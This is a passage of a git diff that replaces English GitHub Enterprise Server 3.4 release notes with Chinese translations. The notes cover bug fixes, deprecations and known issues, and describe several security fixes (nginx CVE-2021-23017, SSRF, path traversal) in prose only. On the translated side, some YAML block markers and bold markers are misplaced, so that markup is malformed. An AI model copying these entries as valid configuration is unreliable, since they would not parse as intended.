sections: security_fixes: - - Packages have been updated to the latest security versions. + - 包已更新到最新的安全版本。 bugs: - - Resolved a regression that could lead to consistent failures to retrieve artifacts and download log archives for {% data variables.product.prodname_actions %}. In some circumstances we stopped resolving URLs for internal communications that used `localhost`, and instead incorrectly used the instance hostname. - - When a manifest file was deleted from a repository, the manifest would not be removed from the repository's "Dependency graph" page. - - Upgrading the nodes in a high availability pair with an upgrade package could cause Elasticsearch to enter an inconsistent state in some cases. - - Rotated log files with the extension `.backup` would accumulate in directories containing system logs. - - In some cluster topologies, the command line utilities `ghe-spokesctl` and `ghe-btop` failed to run. - - Elasticsearch indices could be duplicated during a package upgrade, due to an `elasticsearch-upgrade` service running multiple times in parallel. - - Repository cache servers could serve data from non-cache locations even when the data was available in the local cache location. - - When converting a user account to an organization, if the user account was an owner of the {% data variables.product.prodname_ghe_server %} enterprise account, the converted organization would incorrectly appear in the enterprise owner list. - - The `/stafftools/users/ip_addresses/:address` page responded with a `500 Internal Server Error` when attempting to display the page for an IPv6 address. - - Creating an impersonation OAuth token using the Enterprise Administration REST API resulted in an error when an integration matching the OAuth Application ID already existed. + - "解决了一个可能导致检索生成工件和下载 {% data variables.product.prodname_actions %} 的日志存档始终失败的回归问题。在某些情况下,我们停止解析使用 `localhost` 的内部通信的 URL,反而错误地使用了实例主机名。" + - 从存储库中删除清单文件时,不会从存储库的“依赖项关系图”页面中删除该清单。 + - 在某些情况下,使用升级包升级高可用性对中的节点可能会导致 Elasticsearch 进入不一致状态。 + - 扩展名为 `.backup` 的轮换日志文件将累积在包含系统日志的目录中。 + - 在某些群集拓扑中,命令行实用程序 `ghe-spokesctl` 和 `ghe-btop` 无法运行。 + - 由于 `elasticsearch-upgrade` 服务并行运行多次,因此 Elasticsearch 索引可能会在包升级期间重复。 + - 即使数据在本地缓存位置可用,存储库缓存服务器也可以提供来自非缓存位置的数据。 + - "将用户帐户转换为组织帐户时,如果用户帐户是 {% data variables.product.prodname_ghe_server %} 企业帐户的所有者,则转换后的组织将无法正确显示在企业所有者列表中。" + - "尝试显示 IPv6 地址的页面时,`/stafftools/users/ip_addresses/:address` 页面以“500 内部服务器错误”响应。" + - 当与 OAuth 应用程序 ID 匹配的集成已存在时,使用企业管理 REST API 创建模拟 OAuth 标记会导致错误。 changes: - - Added support for replica domain names that are more than 63 characters. - - Configuration errors that halt a config apply run are now output to the terminal in addition to the configuration log. - - If {% data variables.product.prodname_GH_advanced_security %} features are enabled on your instance, the performance of background jobs has improved when processing batches for repository contributions. + - 增加了对超过 63 个字符的副本域名的支持。 + - 除了配置日志之外,停止 config apply 运行的配置错误现在会输出到终端。 + - "如果在实例上启用了 {% data variables.product.prodname_GH_advanced_security %} 功能,则在处理存储库贡献的批次时,后台作业的性能会有所提高。" known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - | - After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] - - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. - - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] - deprecations: - - heading: Deprecation of GitHub Enterprise Server 3.0 - notes: - - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' - - heading: Deprecation of GitHub Enterprise Server 3.1 - notes: - - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - |在多个级别(例如,企业和组织)使用 `--ephemeral` 参数注册自承载运行器后,运行器可能会陷入空闲状态并需要重新注册。[更新时间:2022-06-17] - - heading: Deprecation of XenServer Hypervisor support +| + - "升级到 {% data variables.product.prodname_ghe_server %} 3.4 后,存储库中似乎缺少版本。当所需的 Elasticsearch 索引迁移未成功完成时,可能会发生这种情况。" + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' + deprecations: + - heading: 弃用 GitHub Enterprise Server 3.0 + notes: + - '{% data variables.product.prodname_ghe_server %} 3.0 已于 2022 年 2 月 16 日停用****。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 GitHub Enterprise Server 3.1 + notes: + - '{% data variables.product.prodname_ghe_server %} 3.1 将于 2022 年 6 月 3 日停用****。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server)。' + + - heading: 弃用 XenServer Hypervisor 支持 notes: # https://github.com/github/docs-content/issues/4439 - - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + - "从 {% data variables.product.prodname_ghe_server %} 3.3 开始,XenServer 上的 {% data variables.product.prodname_ghe_server %} 已弃用且不再受支持。如有问题或疑虑,请联系 [GitHub 支持](https://support.github.com)。" - - heading: Deprecation of the Content Attachments API preview + - heading: 弃用内容附件 API 预览版 notes: # - - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments. + - "由于使用率低,我们已在 {% data variables.product.prodname_ghe_server %} 3.4 中弃用了内容引用 API 预览版。该 API 以前可以通过 `corsair-preview` 标头访问。用户可以在没有此 API 的情况下继续导航到外部 URL。内容引用 API 的任何注册使用将不再收到来自注册域的 URL 的 Webhook 通知,并且我们不再返回有效的响应代码来尝试更新现有内容附件。" - - heading: Deprecation of the Codes of Conduct API preview + - heading: 弃用行为准则 API 预览版 notes: # https://github.com/github/releases/issues/1708 - - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.' + - '可通过 `scarlet-witch-preview` 标头访问的行为准则 API 预览版已弃用,并且在 {% data variables.product.prodname_ghe_server %} 3.4 中不再可访问。我们建议使用“[获取社区配置文件指标](/rest/reference/repos#get-community-profile-metrics)”终结点来检索有关存储库行为准则的信息。有关详细信息,请参阅 {% data variables.product.prodname_dotcom %} 更改日志中的“[弃用通知:行为准则 API 预览版](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)”。' - - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + - heading: 弃用 OAuth 应用程序 API 终结点和使用查询参数的 API 身份验证 notes: # https://github.com/github/releases/issues/1316 - - | - Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make). + - |从 {% data variables.product.prodname_ghe_server %} 3.4 开始,[OAuth 应用程序 API 终结点的弃用版本](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected)已被删除。如果在这些终结点上遇到 404 错误消息,请将代码转换为 URL 中没有 `access_tokens` 的 OAuth 应用程序 API 版本。我们还禁用了使用查询参数的 API 身份验证。我们建议使用[请求标头中的 API 身份验证](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)。 - - heading: Deprecation of the CodeQL runner +| + - heading: 弃用 CodeQL 运行器 notes: # https://github.com/github/releases/issues/1632 - - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + - "{% data variables.product.prodname_codeql %} 运行器在 {% data variables.product.prodname_ghe_server %} 3.4 中已弃用,不再受支持。弃用仅影响在第三方 CI/CD 系统中使用 {% data variables.product.prodname_codeql %} 代码扫描的用户;{% data variables.product.prodname_actions %} 用户不受影响。我们强烈建议客户迁移到 {% data variables.product.prodname_codeql %} CLI,它是 {% data variables.product.prodname_codeql %} 运行器功能完善的替代项。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/)。" - - heading: Deprecation of custom bit-cache extensions + - heading: 弃用自定义位缓存扩展 notes: # https://github.com/github/releases/issues/1415 - - | - Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards. + - |从 {% data variables.product.prodname_ghe_server %} 3.1 开始,开始逐渐停用对 {% data variables.product.company_short %} 的专有位缓存扩展的支持。从 {% data variables.product.prodname_ghe_server %} 3.3 开始,这些扩展已被弃用。 - Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. - Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. - To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the Schedule button. - - - heading: Theme picker for GitHub Pages has been removed +运行版本 3.1 或 3.2 的 {% data variables.product.product_location %} 上已经存在并处于活动状态的任何存储库都将自动更新。 + + + +在升级到 {% data variables.product.prodname_ghe_server %} 3.3 之前不存在且处于活动状态的存储库可能无法以最佳方式执行,直到运行存储库维护任务并成功完成。 + + + +若要手动启动存储库维护任务,请浏览到 `https:///stafftools/repositories///network` 查看每个受影响的存储库,然后单击“计划”按钮。 + +| + - heading: GitHub Pages 主题选取器已删除 notes: - - | - The theme picker for GitHub Pages has been removed from the Pages settings. For more information about configuration of themes for GitHub Pages, see "[Adding a theme to your GitHub Pages site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll)." - + - |GitHub Pages 主题选取器已从“页面设置”中删除。有关 GitHub Pages 主题配置的详细信息,请参阅“[使用 Jekyll 向 GitHub Pages 站点添加主题](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme -to-your-github-pages-site-using-jekyll)”。 + +| backups: - - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' + - '{% data variables.product.prodname_ghe_server %} 3.4 至少需要 [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) 进行[备份和灾难恢复](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/3.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/3.yml index ff8016bc42..eb4dc93ba0 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/3.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/3.yml @@ -1,42 +1,41 @@ date: '2022-05-17' sections: security_fixes: - - '**MEDIUM:** A security issue in nginx resolver was identified, where an attacker who could forge UDP packets from the DNS server could cause 1-byte memory overwrite, resulting in worker process crashes or other potentially damaging impacts. The vulnerability has been assigned [CVE-2021-23017](https://nvd.nist.gov/vuln/detail/CVE-2021-23017).' - - Updated the `actions/checkout@v2` and `actions/checkout@v3` actions to address new vulnerabilities announced in the [Git security enforcement blog post](https://github.blog/2022-04-12-git-security-vulnerability-announced/). - - Packages have been updated to the latest security versions. + - '**中:**发现了 nginx 解析器中的一个安全问题,可以从 DNS 服务器伪造 UDP 数据包的攻击者可能导致 1 字节内存覆盖,从而导致工作进程崩溃或其他潜在的破坏性影响。该漏洞的编号为 [CVE-2021-23017](https://nvd.nist.gov/vuln/detail/CVE-2021-23017)。' + - "更新了 `actions/checkout@v2` 和 `actions/checkout@v3` 操作以解决 [Git 安全措施实施博客文章](https://github.blog/2022-04-12-git-security-vulnerability-announced/)中公布的新漏洞。" + - 包已更新到最新的安全版本。 bugs: - - In some cluster topologies, the `ghe-cluster-status` command left behind empty directories in `/tmp`. - - SNMP incorrectly logged a high number of `Cannot statfs` error messages to syslog. - - When adding custom patterns and providing non-UTF8 test strings, match highlighting was incorrect. - - LDAP users with an underscore character (`_`) in their user names can now login successfully. - - For instances configured with SAML authentication and built-in fallback enabled, built-in users would get stuck in a “login” loop when attempting to sign in from the page generated after logging out. - - After enabling SAML encrypted assertions with Azure as identity provider, the sign in page would fail with a `500` error. - - Character key shortcut preferences weren't respected. - - Attempts to view the `git fsck` output from the `/stafftools/repositories/:owner/:repo/disk` page would fail with a `500 Internal Server Error`. - - When using SAML encrypted assertions, some assertions were not correctly marking SSH keys as verified. - - Videos uploaded to issue comments would not be rendered properly. - - When using GitHub Enterprise Importer to import a repository, some issues would fail to import due to incorrectly configured project timeline events. - - When using `ghe-migrator`, a migration would fail to import video file attachments in issues and pull requests. - - 'The Releases page would return a 500 error when the repository has tags that contain non-ASCII characters. [Updated: 2022-06-10]' - - 'Upgrades would sometimes fail while migrating dependency graph data. [Updated: 2022-06-30]' + - 在某些群集拓扑中,`ghe-cluster-status` 命令会在 `/tmp` 中留下空目录。 + - SNMP 错误地将大量 `Cannot statfs` 错误消息记录到 syslog。 + - 添加自定义模式并提供非 UTF8 测试字符串时,匹配突出显示不正确。 + - 用户名中带有下划线字符 (`_`) 的 LDAP 用户现在可以成功登录。 + - 对于配置了 SAML 身份验证和启用内置回退的实例,内置用户在尝试从退出登录后生成的页面登录时会陷入“登录”循环。 + - 使用 Azure 作为标识提供者启用 SAML 加密断言后,登录页面将失败并出现 `500` 错误。 + - 不遵从字符键快捷方式首选项。 + - "尝试从 `/stafftools/repositories/:owner/:repo/disk` 页面查看 `git fsck` 输出将失败并显示“500 内部服务器错误”。" + - 使用 SAML 加密断言时,某些断言未正确将 SSH 密钥标记为已验证。 + - 上传到问题评论的视频将无法正确呈现。 + - 使用 GitHub Enterprise Importer 导入存储库时,由于项目时间线事件配置不正确,某些问题将无法导入。 + - 使用 `ghe-migrator` 时,迁移将无法在问题和拉取请求中导入视频文件附件。 + - '当存储库具有包含非 ASCII 字符的标记时,发布页面将返回 500 错误。[更新时间:2022-06-10]' + - '迁移依赖项关系图数据时,升级有时会失败。[更新时间:2022-06-30]' changes: - - In high availability configurations, clarify that the replication overview page in the Management Console only displays the current replication configuration, not the current replication status. - - The Nomad allocation timeout for Dependency Graph has been increased to ensure post-upgrade migrations can complete. - - When enabling {% data variables.product.prodname_registry %}, clarify that using a Shared Access Signature (SAS) token as connection string is not currently supported. - - Support bundles now include the row count of tables stored in MySQL. - - When determining which repository networks to schedule maintenance on, we no longer count the size of unreachable objects. - - The `run_started_at` response field is now included in the [Workflow runs API](/rest/actions/workflow-runs) and the `workflow_run` event webhook payload. + - 在高可用性配置中,阐明管理控制台中的复制概述页面仅显示当前复制配置,而不是当前复制状态。 + - 依赖项关系图的 Nomad 分配超时已增加,以确保升级后迁移可以完成。 + - "启用 {% data variables.product.prodname_registry %} 时,阐明当前不支持使用共享访问签名 (SAS) 令牌作为连接字符串。" + - 支持包现在包括存储在 MySQL 中的表的行数。 + - 在确定要在哪些存储库网络上计划维护时,我们不再计入无法访问对象的大小。 + - "`run_started_at` 响应字段现在包含在[工作流运行 API](/rest/actions/workflow-runs) 和 `workflow_run` 事件 Webhook 有效负载中。" known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - | - After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] - - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4 releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - |在多个级别(例如,企业和组织)使用 `--ephemeral` 参数注册自承载运行器后,运行器可能会陷入空闲状态并需要重新注册。[更新时间:2022-06-17] + +| + - "升级到 {% data variables.product.prodname_ghe_server %} 3.4 后,存储库中似乎缺少版本。当所需的 Elasticsearch 索引迁移未成功完成时,可能会发生这种情况。" - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] \ No newline at end of file diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/4.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/4.yml index baed742dfc..eae8e4f7c0 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/4.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/4.yml @@ -1,33 +1,32 @@ date: '2022-06-09' sections: security_fixes: - - Packages have been updated to the latest security versions. + - 包已更新到最新的安全版本。 bugs: - - An internal script to validate hostnames in the {% data variables.product.prodname_ghe_server %} configuration file would return an error if the hostname string started with a "." (period character). - - In HA configurations where the primary node's hostname was longer than 60 characters, MySQL would fail to be configured. - - When {% data variables.product.prodname_actions %} was enabled but TLS was disabled on {% data variables.product.prodname_ghe_server %} 3.4.1 and later, applying a configuration update would fail. - - The `--gateway` argument was added to the `ghe-setup-network` command, to allow passing the gateway address when configuring network settings using the command line. - - The [{% data variables.product.prodname_GH_advanced_security %} billing API](/rest/enterprise-admin/billing#get-github-advanced-security-active-committers-for-an-enterprise) endpoints were not enabled and accessible. - - Image attachments that were deleted would return a `500 Internal Server Error` instead of a `404 Not Found` error. - - In environments configured with a repository cache server, the `ghe-repl-status` command incorrectly showed gists as being under-replicated. - - The "Get a commit" and "Compare two commits" endpoints in the [Commit API](/rest/commits/commits) would return a `500` error if a file path in the diff contained an encoded and escaped unicode character. - - The calculation of "maximum committers across entire instance" reported in the site admin dashboard was incorrect. - - An incorrect database entry for repository replicas caused database corruption when performing a restore using {% data variables.product.prodname_enterprise_backup_utilities %}. - - The activity timeline for secret scanning alerts wasn't displayed. + - "如果主机名字符串以“.”开头(句点字符),则 {% data variables.product.prodname_ghe_server %} 配置文件中用于验证主机名的内部脚本将返回错误。" + - 在主节点的主机名超过 60 个字符的 HA 配置中,MySQL 将无法配置。 + - "当 {% data variables.product.prodname_actions %} 启用,但在 {% data variables.product.prodname_ghe_server %} 3.4.1 和更高版本上禁用 TLS 时,应用配置更新将失败。" + - "`--gateway` 参数已添加到 `ghe-setup-network` 命令,以允许使用命令行配置网络设置时传递网关地址。" + - "[{% data variables.product.prodname_GH_advanced_security %} 计费 API](/rest/enterprise-admin/billing#get-github-advanced-security-active-committers-for-an-enterprise) 终结点未启用且无法访问。" + - 删除的图像附件将返回 `500 内部服务器错误` 而非 `404 未找到` 错误。 + - 在配置了存储库缓存服务器的环境下,`ghe-repl-status` 命令将 Gist 错误显示为迟缓复制。 + - "如果差异中的文件路径包含编码和转义 Unicode 字符,则[提交 API](/rest/commits/commits) 中的“获取提交”和“比较两个提交”终结点将返回 `500` 错误。" + - 站点管理员仪表板中报告的“跨整个实例的最大提交者”的计算不正确。 + - "使用 {% data variables.product.prodname_enterprise_backup_utilities %} 执行还原时,存储库复制的数据库输入不正确导致数据库损坏。" + - 机密扫描警报的活动时间线未显示。 changes: - - Optimised the inclusion of metrics when generating a cluster support bundle. - - In HA configurations where Elasticsearch reported a valid yellow status, changes introduced in a previous fix would block the `ghe-repl-stop` command and not allow replication to be stopped. Using `ghe-repo-stop --force` will now force Elasticsearch to stop when the service is in a normal or valid yellow status. + - 优化了生成群集支持包时包含的指标。 + - 在 Elasticsearch 报告有效的标黄状态的 HA 配置中,之前修复中引入的更改将阻止 `ghe-repl-stop` 命令,并且不允许停止复制。当服务处于正常或有效标黄状态时,使用 `ghe-repo-stop --force` 将强制 Elasticsearch 停止运行。 known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - | - After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] - - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - |在多个级别(例如,企业和组织)使用 `--ephemeral` 参数注册自承载运行器后,运行器可能会陷入空闲状态并需要重新注册。[更新时间:2022-06-17] + +| + - "升级到 {% data variables.product.prodname_ghe_server %} 3.4 后,存储库中似乎缺少版本。当所需的 Elasticsearch 索引迁移未成功完成时,可能会发生这种情况。" - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] \ No newline at end of file diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/5.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/5.yml index 6b426fb007..ef299035ec 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/5.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/5.yml @@ -1,32 +1,31 @@ date: '2022-06-28' sections: security_fixes: - - "**MEDIUM**: Prevents an attack where an `org` query string parameter can be specified for a GitHub Enterprise Server URL that then gives access to another organization's active committers." - - "**MEDIUM**: Ensures that `github.company.com` and `github-company.com` are not evaluated by internal services as identical hostnames, preventing a potential server-side security forgery (SSRF) attack." - - "**LOW**: An attacker could access the Management Console with a path traversal attack via HTTP even if external firewall rules blocked HTTP access." - - Packages have been updated to the latest security versions. + - "中****:防止为 GitHub Enterprise Server URL 指定 `org` 查询字符串参数,然后访问另一个组织的活动提交者的攻击。" + - "中****:确保 `github.company.com` 和 `github-company.com` 不会被内部服务评估为相同的主机名,从而防止潜在的服务器端安全性伪造 (SSRF) 攻击。" + - "低****:即使外部防火墙规则阻止了 HTTP 访问,攻击者也可以使用路径遍历攻击通过 HTTP 访问管理控制台。" + - 包已更新到最新的安全版本。 bugs: - - Files inside an artifact archive were unable to be opened after decompression due to restrictive permissions. - - Redis timeouts no longer halt database migrations while running `ghe-config-apply`. - - Background job processors would get stuck in a partially shut-down state, resulting in certain kinds of background jobs (like code scanning) appearing stuck. - - In some cases, site administrators were not automatically added as enterprise owners. - - A rendering issue could affect the dropdown list for filtering secret scanning alerts in a repository. + - 由于权限限制,解压缩后无法打开项目存档中的文件。 + - 运行 `ghe-config-apply` 时,Redis 超时不再停止数据库迁移。 + - 后台作业处理器将陷入部分关闭状态,从而导致某些类型的后台作业(如代码扫描)出现停滞。 + - 在某些情况下,站点管理员未自动添加为企业所有者。 + - 呈现问题可能会影响存储库中筛选机密扫描警报的下拉列表。 changes: - - Improved the performance of Dependabot version updates after first enabled. - - The GitHub Pages build and synchronization timeouts are now configurable in the Management Console. - - Creating or updating check runs or check suites could return `500 Internal Server Error` if the value for certain fields, like the name, was too long. - - When [deploying cache-server nodes](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache#configuring-a-repository-cache), it is now mandatory to describe the datacenter topology (using the `--datacenter` argument) for every node in the system. This requirement prevents situations where leaving datacenter membership set to "default" leads to workloads being inappropriately balanced across multiple datacenters. + - 首次启用后,改进了 Dependabot 版本更新的性能。 + - 现在可以在管理控制台中配置 GitHub Pages 生成和同步超时。 + - 如果某些字段(如名称)的值过长,则创建或更新检查运行或检查套件可能返回“500 内部服务器错误”。 + - "[部署缓存-服务器节点](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache#configuring-a-repository-cache)时,现在必须描述系统中每个节点的数据中心拓扑(使用 `--datacenter` 